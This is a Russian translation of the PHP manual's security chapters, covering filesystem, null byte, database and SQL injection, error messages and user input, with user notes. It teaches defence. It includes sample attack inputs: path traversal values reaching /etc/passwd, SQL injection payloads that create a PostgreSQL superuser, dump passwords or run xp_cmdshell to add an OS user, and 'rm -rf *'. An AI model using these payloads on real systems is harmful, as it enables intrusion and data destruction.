    php_admin_value open_basedir     \ "/www-home/example.com/:/usr/lib/php/"
  </Location>
</VirtualHost>

If you set safe_mode on, then the script can only use binaries in given directories (make a special dir only with the binaries your customers may use).

Now no user of a virtual host can read/write/modify the data of another user on your machine.

Windseeker


Безопасность сессий

Крайне важно обеспечивать безопасность HTTP-сессий. Подробное описание, какими средствами этого можно достичь, читайте в секции Безопасность сессий руководства Сессии.

User Contributed Notes

There are no user contributed notes for this page.


Безопасность файловой системы

Содержание

  • Проблемы безопасности, связанные с нулевым байтом

PHP является одним из важных моментов в вопросе безопасности сервера, поскольку PHP-скрипты могут манипулировать файлами и каталогами на диске. В связи с этим существуют конфигурационные настройки, указывающие, какие файлы могут быть доступны и какие операции с ними можно выполнять. Необходимо проявлять осторожность, поскольку любой из файлов, с полными правами чтения ("world readable") может быть прочитан каждым, кто имеет доступ к файловой системе.

Поскольку в PHP изначально предполагался полноправный пользовательский доступ к файловой системе, можно написать PHP-скрипт, который позволит читать системные файлы, такие как /etc/passwd, управлять сетевыми соединениями, отправлять задания принтеру, и так далее. Как следствие, вы всегда должны быть уверены в том, что файлы, которые вы читаете или модифицируете, являются именно теми, которые вы подразумевали.

Рассмотрим следующий пример, в котором пользователь создал скрипт, удаляющий файл из его домашней директории. Предполагается ситуация, когда веб-интерфейс, написанный на PHP, регулярно используется для работы с файлами, и настройки безопасности позволяют удалять файлы в домашнем каталоге.

Пример #1 Недостаточная проверка внешних данных ведёт к...

<?php
// Удаление файла из домашней директории пользователя
$username = $_POST['user_submitted_name'];
$userfile = $_POST['user_submitted_filename'];
$homedir = "/home/$username";

unlink("$homedir/$userfile");

echo "Файл был удалён!";
?>
Поскольку переменные вводятся в пользовательской форме, существует возможность удалить файлы, принадлежащие кому-либо другому, введя соответствующие значения. В этом случае может понадобиться авторизация. Посмотрим, что произойдёт, если будут отправлены значения "../etc/" и "passwd". Скрипт выполнит следующие действия:

Пример #2 ... атаке на файловую систему

<?php
// Удаление любого файла, доступного из PHP-скрипта.
// В случае, если PHP работает с правами пользователя root:
$username = $_POST['user_submitted_name']; // "../etc"
$userfile = $_POST['user_submitted_filename']; // "passwd"
$homedir = "/home/$username"; // "/home/../etc"

unlink("$homedir/$userfile"); // "/home/../etc/passwd"

echo "Файл был удалён!";
?>
Существуют две важные меры, которые можно предпринять для предотвращения описанной проблемы.
  • Ограничить доступ пользователя, с правами которого работает веб-сервер с PHP.
  • Проверять все данные, вводимые пользователем.
Вот улучшенный вариант кода:

Пример #3 Более безопасная проверка имени файла

<?php
// Удаление любого файла, к которому имеет доступ пользователь,
// под которым запущен PHP.
$username = $_SERVER['REMOTE_USER']; // использование авторизации
$userfile = basename($_POST['user_submitted_filename']);
$homedir = "/home/$username";

$filepath = "$homedir/$userfile";

if (file_exists($filepath) && unlink($filepath)) {
$logstring = "$filepath удалён\n";
} else {
$logstring = "Не удалось удалить $filepath\n";
}
$fp = fopen("/home/logging/filedelete.log", "a");
fwrite($fp, $logstring);
fclose($fp);

echo htmlentities($logstring, ENT_QUOTES);

?>
Однако и такая проверка не учитывает все возможные ситуации. Если система авторизации позволяет пользователям выбирать произвольные логины, взломщик может создать учётную запись вида "../etc/" и система опять окажется уязвимой. Исходя из этого, вам может понадобиться более строгая проверка:

Пример #4 Более строгая проверка имени файла

<?php
$username = $_SERVER['REMOTE_USER']; // использование авторизации
$userfile = $_POST['user_submitted_filename'];
$homedir = "/home/$username";

$filepath = "$homedir/$userfile";

if (!ctype_alnum($username) || !preg_match('/^(?:[a-z0-9_-]|\.(?!\.))+$/iD', $userfile)) {
die("Неправильное имя пользователя или файл");
}

//etc...
?>

В зависимости от используемой вами операционной системы необходимо предусматривать возможность атаки на разнообразные файлы, включая системные файлы устройств (/dev/ или COM1), конфигурационные файлы (например /etc/ или файлы с расширением .ini), хорошо известные области хранения данных (/home/, My Documents), и так далее. Исходя из этого, как правило, легче реализовать такую политику безопасности, в которой запрещено все, исключая то, что явно разрешено.

User Contributed Notes

Latchezar Tzvetkoff 10-Mar-2009 03:06
A basic filename/directory/symlink checking may be done (and I personally do) via realpath() ...

<?php

if (isset($_GET['file'])) {
    $base = '/home/polizei/public_html/';  // it seems this one is good to be realpath too.. meaning not a symlinked path..
    if (strpos($file = realpath($base.$_GET['file']), $base) === 0 && is_file($file)) {
        unlink($file);
    } else {
        die('blah!');
    }
}
?>
anonymous 17-Nov-2005 02:58
(A) Better not to create files or folders with user-supplied names. If you do not validate enough, you can have trouble. Instead create files and folders with randomly generated names like fg3754jk3h and store the username and this file or folder name in a table named, say, user_objects. This will ensure that whatever the user may type, the command going to the shell will contain values from a specific set only and no mischief can be done.

(B) The same applies to commands executed based on an operation that the user chooses. Better not to allow any part of the user's input to go to the command that you will execute. Instead, keep a fixed set of commands and based on what the user has input, and run those only.

For example,
(A) Keep a table named, say, user_objects with values like:
username|chosen_name   |actual_name|file_or_dir
--------|--------------|-----------|-----------
jdoe    |trekphotos    |m5fg767h67 |D
jdoe    |notes.txt     |nm4b6jh756 |F
tim1997 |_imp_ folder  |45jkh64j56 |D

and always use the actual_name in the filesystem operations rather than the user supplied names.

(B)
<?php
$op = $_POST['op'];//after a lot of validations
$dir = $_POST['dirname'];//after a lot of validations or maybe you can use technique (A)
switch($op){
    case "cd":
        chdir($dir);
        break;
    case "rd":
        rmdir($dir);
        break;
    .....
    default:
        mail("webmaster@example.com", "Mischief", $_SERVER['REMOTE_ADDR']." is probably attempting an attack.");
}
fmrose at ncsu dot edu 09-Oct-2005 04:31
All of the fixes here assume that it is necessary to allow the user to enter system sensitive information to begin with. The proper way to handle this would be to provide something like a numbered list of files to perform an unlink action on and then the chooses the matching number. There is no way for the user to specify a clever attack circumventing whatever pattern matching filename exclusion syntax that you may have.

Anytime you have a security issue, the proper behaviour is to deny all then allow specific instances, not allow all and restrict. For the simple reason that you may not think of every possible restriction.
1 at 234 dot cx 23-Jun-2005 05:24
I don't think the filename validation solution from Jones at partykel is complete.  It certainly helps, but it doesn't address the case where the user is able to create a symlink pointing from his home directory to the root.  He might then ask to unlink "foo/etc/passwd" which would be in his home directory, except that foo is a symlink pointing to /.

Personally I wouldn't feel confident that any solution to this problem would keep my system secure.  Running PHP as root (or some equivalent which can unlink files in all users' home directories) is asking for trouble.

If you have a multi-user system and you are afraid that users may install scripts like this, try security-enhanced Linux.  It won't give total protection, but it at least makes sure that an insecure user script can only affect files which the web server is meant to have access to.  Whatever script someone installs, outsiders are not going to be able to read your password file---or remove it.
cronos586(AT)caramail(DOT)com 05-Jan-2002 03:48
when using Apache you might consider a apache_lookup_uri on the path, to discover the real path, regardless of any directory trickery.
then, look at the prefix, and compare with a list of allowed prefixes.
for example, my source.php for my website includes:
if(isset($doc)) {
    $apacheres = apache_lookup_uri($doc);
    $really = realpath($apacheres->filename);
    if(substr($really, 0, strlen($DOCUMENT_ROOT)) == $DOCUMENT_ROOT) {
        if(is_file($really)) {
            show_source($really);
        }
    }
}
hope this helps
regards,
KAT44
devik at cdi dot cz 21-Aug-2001 07:52
Well, the fact that all users run under the same UID is a big problem. Userspace  security hacks (ala safe_mode) should not be substitution for proper kernel level security checks/accounting.
Good news: Apache 2 allows you to assign UIDs for different vhosts.
devik
eLuddite at not dot a dot real dot addressnsky dot ru 11-Nov-2000 09:44
I think the lesson is clear:

(1) Forbit path separators in usernames.
(2) map username to a physical home directory - /home/username is fine
(3) read the home directory
(4) present only results of (3) as an option for deletion.

I have discovered a marvelous method of doing the above in php but this submission box is too small to contain it.

:-)


Проблемы безопасности, связанные с нулевым байтом

Так как для работы с файловой системой PHP использует нижележащие C-функции, то в этом случае возможна крайне неожиданная обработка нулевого байта. Так как нулевой байт означает конец строки в C, то строки, содержащие такой байт, не будут трактоваться полностью, а только до той позиции, в которой находится этот байт. Следующий пример содержит уязвимый код, демонстрирующий эту проблему:

Пример #1 Скрипт, уязвимый к нулевому байту

<?php
$file = $_GET['file']; // "../../etc/passwd\0"
if (file_exists('/home/wwwrun/'.$file.'.php')) {
// file_exists возвратит true, т.к. /home/wwwrun/../../etc/passwd существует
include '/home/wwwrun/'.$file.'.php';
// будет подключён файл /etc/passwd
}
?>

Таким образом, любая испорченная строка, используемая в операциях с файловой системой должна быть соответствующим образом проверена. Вот улучшенная версия предыдущего примера:

Пример #2 Корректная проверка входных данных

<?php
$file = $_GET['file'];

// Белый список возможных значений
switch ($file) {
case 'main':
case 'foo':
case 'bar':
include '/home/wwwrun/include/'.$file.'.php';
break;
default:
include '/home/wwwrun/include/main.php';
}
?>

User Contributed Notes

cornernote [at] gmail.com 21-Apr-2015 04:26
clean input of null bytes:

<?php
$clean = str_replace(chr(0), '', $input);
?>
Anonymous 09-May-2014 02:51
Looks like this issue was fixed in PHP 5.3 https://bugs.php.net/bug.php?id=39863


Безопасность баз данных

Содержание

  • Проектирование базы данных
  • Соединение с базой данных
  • Шифрование хранилища базы данных
  • SQL-инъекции

На сегодняшний день базы данных являются ключевыми компонентами большинства веб-приложений, позволяя предоставлять на сайтах динамический контент. Поскольку в таких БД может храниться очень деликатная или конфиденциальная информация, необходимо очень серьёзно относиться к защите базы данных.

Для извлечения или сохранения любых данных вам необходимо открыть соединение с базой данных, отправить корректный запрос, извлечь результат и закрыть соединение. В настоящее время наиболее распространённым стандартом общения является язык структурированных запросов (SQL). Всегда следует помнить о возможности атаки посредством SQL-запроса.

Очевидно, что сам по себе PHP не может защитить вашу базу данных. В этом разделе документации описаны самые основы безопасного доступа и управления данными баз данных в PHP-скриптах.

Запомните простое правило: максимальная защита. Чем больше потенциально опасных участков системы вы проработаете, тем сложнее будет потенциальному взломщику получить доступ к базе данных или повредить её. Хорошее проектирование базы данных и программных приложений поможет вам справиться с вашими страхами.

User Contributed Notes

Chris Travers 28-Jul-2012 11:45
Regarding where to put logic, it's really best not to be dogmatic about this.  Putting logic in the db can have some security advantages but it has other security gotchas (for example, SQL injection inside a stored procedure may be possible in some environments).  Similarly it can have some portability advantages and disadvantages.

The real question is that you want to ask what you want to be portable.  If you put it in the db, it becomes easier to integrate programs written in different development environments with a minimum of security gotchas.  If you put it in the application, then you have to create the interfaces on that level in middleware.  Both approaches are doable.  On the other hand if you are writing software you want to be deployable in MS SQL shops and Oracle shops, then you have to write portable SQL (avoiding gotchas) and put the logic in the application.

When we started rewriting the LedgerSMB codebase, we decided to move logic into the db because this would make it easier to retrofit security onto a very insecure codebase (by not trusting the application), and because we wanted to support languages other than Perl.  A few years later this is bearing fruit and indeed I am reading the manual because I am writing integration libraries in PHP.  I am not much of a PHP guy (I haven't programmed PHP since PHP 4.x) but I can write modules that let folks write code to interface securely with LedgerSMB's database logic.  You can think of the stored procedures as being named queries which are shared between applications, or as API's to the database.  But again, this approach is not universally applicable.

If portability between db's is not a major requirement, then I think the best approach is to do as much as possible in SQL queries and put those in the database.  A couple hundred lines of SQL can replace a couple thousand lines in Perl or PHP, and is fundamentally easier to debug.  Of course that won't work for everyone.
Dave Martin 16-Aug-2007 12:15
The posting below is at the very best extremely POV.

There is no more reason to assume you would want to change database vendor than there is to assume you might want to port your php code to Java for example. In either case, its going to be a matter of luck where your business rules sit.

Even if your business rules sit in your application, SQL is NOT portable. Oracle outer joins and pivot queries for example, can look completely different to those in other vendors software (particularly from 8i or lower). This fact alone means that changing your DB vendor requires work on your business rules either in the database or in the application.

Having your rules in the database and keeping the sql in application simple, will at least keep the work in the database if you need to change DB vendor. If you have the rules in the PHP, you'll have to change both.
x12code at yahoo dot com 14-Aug-2007 09:48
About offloading business logic to views and queries facilitated by the database engine, I seek to avoid this as much as possible, and only do so when such would drastically improve efficiency and user response time.

For instance, where I am there is database staff and application staff. Trying to do analysis on existent applications can easily become a snipe hunt.

The database should be kept discreet as much as possible from the application, such that any database or database provider can easily be substituted with a minimum of cognitive effort on the part of the one setting up a new database. If functionality has been offloaded to the database, additional testing is required to make sure triggers and views were done correctly, again, and that they work right.

Also, keeping all business logic with the application allows all functionality and documentation to be readable in one place, which is invaluable when doing subsequent analysis on an existing application. The worst thing is to have functionality scattered here and there.

Keeping everything with the application means one group of people is responsible, as in my case, application staff. Fewer requests go back and forth. Remember, anytime someone else is brought into the picture, such as asking a DBA to create a view or trigger for you, that DBA must take responsibility over his or her work, with whatever requirements, causing more bureaucracy and administrative complexity.
30-Jun-2005 03:57
you can also chamge CHMOD for some file containing "user names" or "passwords"


Проектирование базы данных

Первый шаг - это всегда создание БД, исключая тот случай, когда вы хотите использовать готовую базу, предоставляемую третьими лицами. После того, как база данных создана, она назначается пользователю, который выполнил создавший БД запрос. Как правило, только владелец (или суперпользователь) может выполнять различные действия с объектами, хранимыми в базе данных. Для того, чтобы и другие пользователи имели к ней доступ, их необходимо наделить соответствующими привилегиями.

Приложения никогда не должны соединяться с базой данных, используя учётную запись владельца или суперпользователя, потому что они смогут выполнить любой запрос, например, модифицировать структуру таблиц (например, удалить некоторые таблицы) или даже удалить все содержимое БД целиком.

Вы можете создать различные учётные записи пользователей БД для каждой индивидуальной потребности приложения с сильно ограниченными функциональными ограничениями. Рекомендуется назначать только самые необходимые привилегии, также вы должны избегать ситуаций, когда один и тот же пользователь может взаимодействовать с базой данных несколькими способами. Вы должны понимать, что если злоумышленник сможет воспользоваться какой-либо учётной записью вашей БД, он сможет вносить в базу все те изменения, что и программа, которая использует текущую учётную запись.

User Contributed Notes

krystian at jablonowski dot eu 20-Jul-2021 05:58
It's a good practice to create a user account with absolutely minimal permissions. Whenever You need to select those permissions by columns or tables remember that some rules don't apply to security measures on Your server, like "We are all adults here" or "KISS - Keep It Simple Stupid". Personally, I prefer to create a minimal amount of users with only the necessary authorization to manipulate or collect data from DB.
Remember, that leak of data can have tremendous consequences, and rebuilding the trust of Your users is extremely hard to accomplish.


Соединение с базой данных

Вы можете использовать безопасные SSL или ssh соединения, для шифрования данных, которыми обмениваются клиент и сервер. При реализации чего-либо из вышеперечисленного мониторинг трафика и сбор данных о вашей базе данных существенно усложнится для потенциального взломщика .

User Contributed Notes

There are no user contributed notes for this page.


Шифрование хранилища базы данных

Вы можете установить соединения через SSL для шифрования связи клиент/сервер для повышения безопасности, или вы можете использовать ssh для шифрования сетевого соединения между клиентами и сервером базы данных. Если любой из них используется, то мониторинг вашего трафика и получение информации о вашей базы данных будет трудным для потенциального злоумышленника.

В случае, если взломщик получил непосредственный доступ к БД (в обход веб-сервера), он может извлечь интересующие данные или нарушить их целостность, если информация не защищена на уровне самой БД. Шифрование данных - хороший способ предотвратить такую ситуацию, но лишь незначительное количество БД предоставляют такую возможность.

Наиболее простое решение этой проблемы - установить вначале обыкновенный программный пакет для шифрования данных, а затем использовать его в ваших PHP-скриптах. PHP может вам помочь с этой задачей с помощью таких модулей как OpenSSL и Sodium, реализующих довольно большое число алгоритмов шифрования. При таком подходе скрипт вначале шифрует сохраняемые данные, а затем дешифрует их при запросе. Ниже приведены примеры того, как работает шифрование данных в PHP-скриптах.

Хеширование

В случае работы со скрытыми служебными данными, если не требуется их нешифрованное представление (т.е. его не нужно показывать), то, как следствие, можно использовать хеширование. Хорошо известный пример хеширования - хранение криптографического хеша от пароля в БД, вместо хранения оригинального значения.

Функция password позволяет удобно хешировать конфиденциальные данные и работать с этими хешами.

password_hash() позволяет хешировать заданную строку самым сильным из доступных алгоритмом и password_verify() проверяет, что заданный пароль совпадает с сохранённым в БД хешем.

Пример #1 Хеширование полей с паролями

<?php

// Сохраняем хеш пароля
$query = sprintf("INSERT INTO users(name,pwd) VALUES('%s','%s');",
pg_escape_string($username),
password_hash($password, PASSWORD_DEFAULT));
$result = pg_query($connection, $query);

// проверка введённого пользователем пароля на корректность
$query = sprintf("SELECT pwd FROM users WHERE name='%s';",
pg_escape_string($username));
$row = pg_fetch_assoc(pg_query($connection, $query));

if ($row && password_verify($password, $row['pwd'])) {
echo 'Добро пожаловать, ' . htmlspecialchars($username) . '!';
} else {
echo 'Ошибка авторизации, ' . htmlspecialchars($username) . '.';
}

?>

User Contributed Notes

There are no user contributed notes for this page.


SQL-инъекции

SQL-инъекция - это техника, при которой злоумышленник использует недостатки в коде приложения, отвечающего за построение динамических SQL-запросов. Злоумышленник может получить доступ к привилегированным разделам приложения, получить всю информацию из базы данных, подменить существующие данные или даже выполнить опасные команды системного уровня на узле базы данных. Уязвимость возникает, когда разработчики конкатенируют или интерполируют произвольный ввод в SQL-запросах.

Пример #1 Постраничный вывод результата и создание суперпользователя в PostgreSQL

В следующем примере пользовательский ввод напрямую интерполируется в SQL-запрос, что позволяет злоумышленнику получить учётную запись суперпользователя в базе данных.

<?php

$offset = $_GET['offset']; // осторожно, нет валидации ввода!
$query = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";
$result = pg_query($conn, $query);
?>
Обычно пользователи нажимают по ссылкам 'вперёд' и 'назад', вследствие чего значение переменной $offset заносится в URL. Скрипт ожидает, что $offset - десятичное число. Однако, взломщик может попытаться взломать систему, присоединив к URL следующее значение:
0;
insert into pg_shadow(usename,usesysid,usesuper,usecatupd,passwd)
  select 'crack', usesysid, 't','t','crack'
  from pg_shadow where usename='postgres';
--
Если это произойдёт, скрипт предоставит злоумышленнику доступ суперпользователя. Обратите внимание, что значение 0; использовано для того, чтобы задать правильное смещение для первого запроса и корректно его завершить.

Замечание:

Это распространённый приём, чтобы заставить синтаксический анализатор SQL игнорировать остальную часть запроса, написанного разработчиком с помощью --, который является знаком комментария в SQL.

Ещё один вероятный способ получить пароли учётных записей в БД - атака страниц, предоставляющих поиск по базе. Злоумышленнику нужно лишь проверить, используется ли в запросе передаваемая на сервер и необрабатываемая надлежащим образом переменная. Это может быть один из устанавливаемых на предыдущей странице фильтров, таких как WHERE, ORDER BY, LIMIT и OFFSET, используемых при построении запросов SELECT. В случае, если используемая вами база данных поддерживает конструкцию UNION, злоумышленник может присоединить к оригинальному запросу ещё один дополнительный, для извлечения пользовательских паролей. Настоятельно рекомендуем использовать только зашифрованные пароли.

Пример #2 Листинг статей... и некоторых паролей (для любой базы данных)

<?php

$query = "SELECT id, name, inserted, size FROM products
WHERE size = '$size'";
$result = odbc_exec($conn, $query);
?>
Статическая часть запроса может комбинироваться с другим SELECT-запросом, который выведет все пароли:
'
union select '1', concat(uname||'-'||passwd) as name, '1971-01-01', '0' from usertable;
--

Выражения UPDATE и INSERT также подвержены таким атакам.

Пример #3 От сброса пароля до получения дополнительных привилегий (любой сервер баз данных)

<?php
$query = "UPDATE usertable SET pwd='$pwd' WHERE uid='$uid';";
?>
Но злоумышленник может ввести значение ' or uid like'%admin%' для переменной $uid для изменения пароля администратора или просто присвоить переменной $pwd значение hehehe', trusted=100, admin='yes для получения дополнительных привилегий. При выполнении запросы переплетаются:
<?php

// $uid: ' or uid like '%admin%
$query = "UPDATE usertable SET pwd='...' WHERE uid='' or uid like '%admin%';";

// $pwd: hehehe', trusted=100, admin='yes
$query = "UPDATE usertable SET pwd='hehehe', trusted=100, admin='yes' WHERE
...;";
?>

Хотя остаётся очевидным, что для проведения успешной атаки злоумышленник должен обладать хотя бы некоторыми знаниями об архитектуре базы данных, получить эту информацию зачастую очень просто. Например, код может быть частью программного обеспечения с открытым исходным кодом и находиться в открытом доступе. Эта информация также может быть раскрыта закрытым кодом - даже если он закодирован, обфусцирован или скомпилирован, и даже вашим собственным кодом через отображение сообщений об ошибках. Другие методы включают использование типичных имён таблиц и столбцов. Например, форма входа в систему, использующая таблицу 'users' с именами столбцов 'id', 'username' и 'password'.

Пример #4 Атака на операционную систему сервера базы данных (MSSQL Server)

Пугающий пример того, как команды уровня операционной системы могут быть доступны на некоторых узлах баз данных.

<?php

$query = "SELECT * FROM products WHERE id LIKE '%$prod%'";
$result = mssql_query($query);
?>
Если злоумышленник передаст значение a%' exec master..xp_cmdshell 'net user test testpass /ADD' -- в $prod, то $query будет:
<?php

$query = "SELECT * FROM products
WHERE id LIKE '%a%'
exec master..xp_cmdshell 'net user test testpass /ADD' --%'";
$result = mssql_query($query);
?>
MSSQL Server выполняет SQL запросы в пакете, включая команду добавления нового пользователя в локальную базу данных учётных записей. Если бы это приложение было запущено от имени sa и служба MSSQLSERVER была запущена с достаточными привилегиями, у злоумышленника появилась бы учётная запись, с помощью которой он мог бы получить доступ к этой машине.

Замечание:

Некоторые примеры, приведённые выше, привязаны к конкретному серверу баз данных, но это не означает, что подобная атака невозможна на другие продукты. Ваш сервер баз данных может быть аналогично уязвим и другим способом.

Забавный пример проблем, связанных с SQL-инъекциями
Изображение любезно предоставлено » xkcd

Способы защиты

Рекомендуемый способ избежать SQL-инъекций - связывание всех данных с помощью подготовленных запросов. Использование подготовленных запросов недостаточно для полного предотвращения SQL-инъекций, но это самый простой и безопасный способ обеспечить ввод данных в SQL-запросы. Все динамические литералы данных в выражениях WHERE, SET и VALUES должны быть заменены заполнителями. Фактические данные будут связаны во время выполнения и отправлены отдельно от команды SQL.

Привязка параметров может использоваться только для данных. Другие динамические части SQL-запроса должны быть отфильтрованы по известному списку допустимых значений.

Пример #5 Избегание SQL-инъекций с помощью подготовленных операторов PDO

<?php

// Динамическая часть SQL проверяется на соответствие ожидаемым значениям
$sortingOrder = $_GET['sortingOrder'] === 'DESC' ? 'DESC' : 'ASC';
$productId = $_GET['productId'];

// SQL подготавливается с заполнителем
$stmt = $pdo->prepare("SELECT * FROM products WHERE id LIKE ? ORDER BY price {$sortingOrder}");

// Значение предоставляется с подстановочными знаками LIKE
$stmt->execute(["%{$productId}%"]);
?>

Подготовленные операторы предоставляются PDO, MySQLi, а также другими библиотеками баз данных.

Атаки SQL-инъекций в основном основаны на использовании кода, написанного без учёта требований безопасности. Никогда не доверяйте любому вводу, особенно со стороны клиента, даже если он поступает из поля выбора, скрытого поля ввода или cookie. Первый пример показывает, что такой простой запрос может привести к катастрофе.

Стратегия "защита в глубину" включает в себя несколько эффективных методов написания кода:

  • Никогда не подключайтесь к базе данных как суперпользователь или владелец базы данных. Всегда используйте настроенных пользователей с минимальными привилегиями.
  • Всегда проверяйте введённые данные на соответствие ожидаемому типу. В PHP есть множество функций для проверки данных: начиная от простейших функций для работы с переменными и функций определения типа символов (таких как is_numeric() и ctype_digit() соответственно) и заканчивая Perl-совместимыми регулярными выражениями.
  • В случае, если приложение ожидает цифровой ввод, примените функцию ctype_digit() для проверки введённых данных, или принудительно укажите их тип при помощи settype(), или просто используйте числовое представление при помощи функции sprintf().
  • Если на уровне базы данных не поддерживаются привязанные переменные, то всегда экранируйте любые нечисловые данные, используемый в запросах к БД при помощи специальных экранирующих функций, специфичных для используемой вами базы данных (например, mysql_real_escape_string(), sqlite_escape_string() и т.д.). Общие функции такие как addslashes() полезны только в определённых случаях (например MySQL в однобайтной кодировке с отключённым NO_BACKSLASH_ESCAPES), поэтому лучше избегать их использование.
  • Ни в коем случае не выводите никакой информации о БД, особенно о её структуре. Также ознакомьтесь с соответствующими разделами документации: "Сообщения об ошибках" и "Функции обработки и логирования ошибок".

Помимо всего вышесказанного, вы можете логировать запросы в вашем скрипте либо на уровне базы данных, если она это поддерживает. Очевидно, что логирование не может предотвратить нанесение ущерба, но может помочь при трассировке взломанного приложения. Лог-файл полезен не сам по себе, а информацией, которая в нем содержится. Причём, в большинстве случаев полезно логировать все возможные детали.

User Contributed Notes

Richard dot Corfield at gmail dot com 18-Nov-2011 02:01
The best way has got to be parameterised queries. Then it doesn't matter what the user types in the data goes to the database as a value.

A quick search online shows some possibilities in PHP which is great! Even on this site - http://php.net/manual/en/pdo.prepared-statements.php
which also gives the reasons this is good both for security and performance.


Сообщения об ошибках

С точки зрения безопасности вывод сообщений об ошибках несёт в себе как плюсы, так и минусы.

Одна из стандартных методик, применяемых в атаках - ввод некорректных данных с последующим анализом содержания и характера сообщений об ошибках. Это даёт взломщику возможность проверить скрипты и данные сервера на наличие потенциальных дыр. Например, если взломщик получил некоторую информацию о странице на основании отправки формы, он попробует предопределить некоторые передаваемые значения или модифицировать их:

Пример #1 Атака на переменные в HTML-странице

<form method="post" action="attacktarget?username=badfoo&amp;password=badfoo">
<input type="hidden" name="username" value="badfoo" />
<input type="hidden" name="password" value="badfoo" />
</form>

Возникающие во время работы скриптов ошибки являются достаточно ценной информацией для разработчика, содержащей такие данные, как функция или файл, а также номер строки, в которой возникла ошибка. Вся эта информация может быть использована для взлома. Для PHP-разработчика достаточно привычно пользоваться такими функциями, как show_source(), highlight_string() или highlight_file() в целях отладки, но на работающих сайтах это может открыть информацию о скрытых переменных, непроверенном синтаксисе и других потенциально опасных моментах. Особенно опасно наличие кода со встроенным механизмом отладки в публичных частях сайта. Взломщик может попытаться запустить отладочный механизм, подбирая основные признаки отладки:

Пример #2 Использование стандартных отладочных переменных

<form method="post" action="attacktarget?errors=Y&amp;showerrors=1&amp;debug=1">
<input type="hidden" name="errors" value="Y" />
<input type="hidden" name="showerrors" value="1" />
<input type="hidden" name="debug" value="1" />
</form>

Независимо от метода обработки ошибок возможность проверки системы на наличие ошибок снабжает взломщика дополнительной информацией.

Например, стандартный вывод об ошибке указывает операционную систему, в которой выполняются PHP-скрипты. Если взломщик анализирует обычную страницу сайта с расширением .html и пытается узнать систему, с помощью которой работает сайт (для дальнейшего поиска уязвимых мест), то подавая на ввод неверные данные он может обнаружить, что система использует PHP.

Также уведомление об ошибке может дать информацию об используемой базе данных, или, к примеру, как построена логика работы скриптов. Это, в свою очередь, может позволить взломщику подключиться к открытому порту базы данных, либо найти определённые ошибки в коде. Пробуя поочерёдно различные неверные блоки данных, злоумышленник может определить порядок аутентификации в скрипте (например, по номерам строк с ошибками) или проверять на наличие дыр различные участки кода.

Вывод стандартных ошибок или ошибок, связанных с файловой системой, может указать, с какими привилегиями запущен веб-сервер, и как организованы каталоги сайта. Обработка подобных ошибок, написанная разработчиками приложения, может только усугубить проблему, если взломщиком будет найден способ обнаружить "скрытую" отладочную информацию.

Существует три основных способа решения этой проблемы. Первый заключается в том, чтобы структурировать все функции и попытаться компенсировать объем выдаваемых ошибок. Второй способ - полностью отключить в работающем коде вывод сообщений об ошибках. И, наконец, третий способ - использовать специальные средства PHP для создания собственного обработчика ошибок. В зависимости от используемой вами политики безопасности вы можете применить в вашей конкретной ситуации все три способа.

Один из возможных способов обезопасить ваш код перед его публикацией в общий доступ - это использование функции PHP error_reporting(), которая может помочь выявить потенциально опасные переменные. Тестируя код перед выпуском релиза при помощи значения E_ALL, вы достаточно легко можете обнаружить участки кода, в которых переменные могут быть подменены либо модифицированы. После окончания тестирования, вы можете либо полностью отключить все сообщения об ошибках установив error_reporting() в 0, либо отключить их вывод с помощью директивы php.ini display_errors, изолировав таким образом ваш код от прощупывания. Если вы решили использовать последний способ, то необходимо также указать путь к лог-файлу с помощью директивы error_log и включить директиву log_errors.

Пример #3 Поиск потенциально опасных переменных при помощи E_ALL

<?php
if ($username) { // Переменная не инициализируется или не проверяется перед использованием
$good_login = 1;
}
if ($good_login == 1) { // Если предыдущая проверка потерпела неудачу, переменная оказывается неинициализированной
readfile ("/highly/sensitive/data/index.html");
}
?>

User Contributed Notes

earlz- -NO SPAM-- at earlz dot biz DOT tm 04-Feb-2009 02:11
Note for those of you using OpenBSD and PHP.  The default php.ini has display_errors=off . This is contrary to the PHP default of display_errors=on . If your having trouble seeing errors on OpenBSD make sure to edit your php.ini to have display_errors=on. (I had this problem on OpenBSD 4.4)


Данные, введённые пользователем

Наиболее опасные уязвимости во многих PHP-скриптах возникают не столько из-за самого языка, сколько из-за кода, написанного без учёта соответствующих требований безопасности. Как следствие, вы всегда должны выделять время на исследование разрабатываемого участка кода, чтобы оценить потенциальную угрозу от ввода переменной с нестандартным значением.

Пример #1 Потенциально опасное использование переменных

<?php
// удалить файлы из домашней директории пользователя...
// а может, из ещё какой-нибудь?
unlink ($evil_var);

// записать в лог-файл выполняемое действие...
// а может быть в /etc/passwd?
fwrite ($fp, $evil_var);

// выполнение тривиальных действий... или rm -rf *?
system ($evil_var);
exec ($evil_var);

?>

Вы должны тщательно проверять ваш код и быть абсолютно уверены в том, что все данные, передаваемые веб-браузером, проверяются надлежащим образом. Попробуйте ответить для себя на следующие вопросы:

  • Будет ли данный скрипт воздействовать исключительно на предполагаемые данные?
  • Могут ли быть обработаны некорректные или нестандартные данные?
  • Возможно ли использование скрипта непредусмотренным способом?
  • Возможно ли его использование в сочетании с другими скриптами в негативных целях?
  • Будет ли каждая транзакция корректно логирована?

Ответив на эти вопросы во время написания скрипта, а не после, вы, возможно, предотвратите последующую доработку скрипта в целях повышения его безопасности. Начиная разработку с этих вопросов, вы не гарантируете полную безопасность вашей системы, но сможете значительно повысить её.

Вы также можете рассмотреть отключение таких конфигурационных опций, как register_globals, magic_quotes и некоторых других, которые могут приводить к сомнениям относительно происхождения или значения получаемых переменных. Использование при написании PHP-кода режима error_reporting(E_ALL) может помочь предупредить вас об использовании переменных до инициализации или проверки (что предотвратит работу с данными, отличными от ожидаемых).

User Contributed Notes

Livingstone@stonyhills[dot]com 02-Feb-2008 04:51
making sure your form is submitted from your page! Could also be adapted to url, by additing &token to the query string and checking this against session data(or what ever array you like) with $_GET, not that this string is randomly generated and stored. If you like you could build your own array to store the generated string if you dont want to use $_SESSION, say you could make yours like $tokens = array(), and in your easysecure class you store all the stuff in that array!

<?php

class easysecure {

    var $curr_user;
    var $curr_permission;
    var $curr_task;
    var $validpermission;
    var $error;

    function &setVar( $name, $value=null ) {
        if (!is_null( $value )) {
            $this->$name = $value;
        }
        return $this->$name;
    }

    function maketoken($formname, $id){

        $token = md5(uniqid(rand(), true));

        $_SESSION[$formname.$id] = $token;

        return $token;
    }

    function checktoken($token, $formname, $id){
        //print_r($_SESSION);
        //echo ($token);
        //if we dont have a valid token, return invalid;
        if(!$token){
            $this->setVar('validpermission', 0);
            $this->setVar('error', 'no token found, security bridgedetected');
            return false;
        }

